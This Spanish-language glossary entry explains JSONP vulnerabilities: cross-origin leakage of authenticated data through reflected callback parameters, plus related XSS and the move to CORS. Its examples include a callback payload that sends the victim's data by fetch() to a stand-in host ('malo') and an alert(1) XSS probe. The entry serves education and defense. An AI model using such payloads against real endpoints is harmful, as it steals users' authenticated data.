Vulnerabilidad JSONP
¿Qué es Vulnerabilidad JSONP?
Vulnerabilidad JSONPFuga de datos entre orígenes provocada por endpoints JSONP que devuelven datos sensibles autenticados envueltos en una función de callback controlada por el atacante.
JSONP (JSON with Padding) es una técnica heredada para peticiones entre orígenes en la que el servidor devuelve JavaScript de la forma callback({...}) para que una página remota pueda incluirlo mediante <script src>. Las vulnerabilidades JSONP aparecen cuando dichos endpoints exponen datos autenticados y el parámetro de callback se refleja sin validación: el atacante aloja una página que carga la URL JSONP con su propio nombre de función y captura la respuesta, eludiendo la política de mismo origen y las protecciones SameSite de la época. El patrón también permite XSS si se refleja contenido fuera de un identificador válido. La práctica moderna es eliminar JSONP, sustituirlo por JSON con CORS y nunca exponer endpoints sensibles a inclusión vía <script>.
● Ejemplos
- 01
/api/me?callback=window['x']=function(d){fetch('https://malo/?d='+JSON.stringify(d))}.
- 02
Parámetro callback reflejado literalmente, permitiendo XSS mediante callback=alert(1)//.
● Preguntas frecuentes
¿Qué es Vulnerabilidad JSONP?
Fuga de datos entre orígenes provocada por endpoints JSONP que devuelven datos sensibles autenticados envueltos en una función de callback controlada por el atacante. Pertenece a la categoría de Ataques y amenazas en ciberseguridad.
¿Qué significa Vulnerabilidad JSONP?
Fuga de datos entre orígenes provocada por endpoints JSONP que devuelven datos sensibles autenticados envueltos en una función de callback controlada por el atacante.
¿Cómo funciona Vulnerabilidad JSONP?
JSONP (JSON with Padding) es una técnica heredada para peticiones entre orígenes en la que el servidor devuelve JavaScript de la forma callback({...}) para que una página remota pueda incluirlo mediante <script src>. Las vulnerabilidades JSONP aparecen cuando dichos endpoints exponen datos autenticados y el parámetro de callback se refleja sin validación: el atacante aloja una página que carga la URL JSONP con su propio nombre de función y captura la respuesta, eludiendo la política de mismo origen y las protecciones SameSite de la época. El patrón también permite XSS si se refleja contenido fuera de un identificador válido. La práctica moderna es eliminar JSONP, sustituirlo por JSON con CORS y nunca exponer endpoints sensibles a inclusión vía <script>.
¿Cómo defenderse de Vulnerabilidad JSONP?
Las defensas contra Vulnerabilidad JSONP combinan habitualmente controles técnicos y prácticas operativas, como se detalla en la definición.
¿Cuáles son otros nombres para Vulnerabilidad JSONP?
Nombres alternativos comunes: Fuga JSONP, Secuestro JSONP.
● Términos relacionados
- appsec№ 223
CORS (Intercambio de Recursos entre Orígenes)
Mecanismo aplicado por el navegador que permite a un servidor relajar selectivamente la política del mismo origen para que JavaScript de un origen pueda leer respuestas de otro.
- attacks№ 224
Mala Configuración de CORS
Política CORS insegura que permite a orígenes no confiables leer respuestas autenticadas, normalmente reflejando el encabezado Origin con Access-Control-Allow-Credentials: true.
- attacks№ 240
Cross-Site Scripting (XSS)
Vulnerabilidad web que permite a un atacante inyectar scripts maliciosos en páginas vistas por otros usuarios, ejecutándose en el navegador de la víctima bajo el origen del sitio.
- appsec№ 960
Política del mismo origen (SOP)
Regla de seguridad del navegador que limita cómo un documento o script de un origen puede interactuar con recursos de otro origen distinto.
- attacks№ 239
Cross-Site Request Forgery (CSRF)
Ataque web que fuerza al navegador de un usuario autenticado a enviar peticiones no deseadas a un sitio vulnerable, ejecutando acciones sin su consentimiento.
- attacks№ 1016
Secuestro de sesión
Ataque que toma el control de la sesión autenticada de una víctima robando o falsificando su identificador de sesión, para actuar como el usuario sin sus credenciales.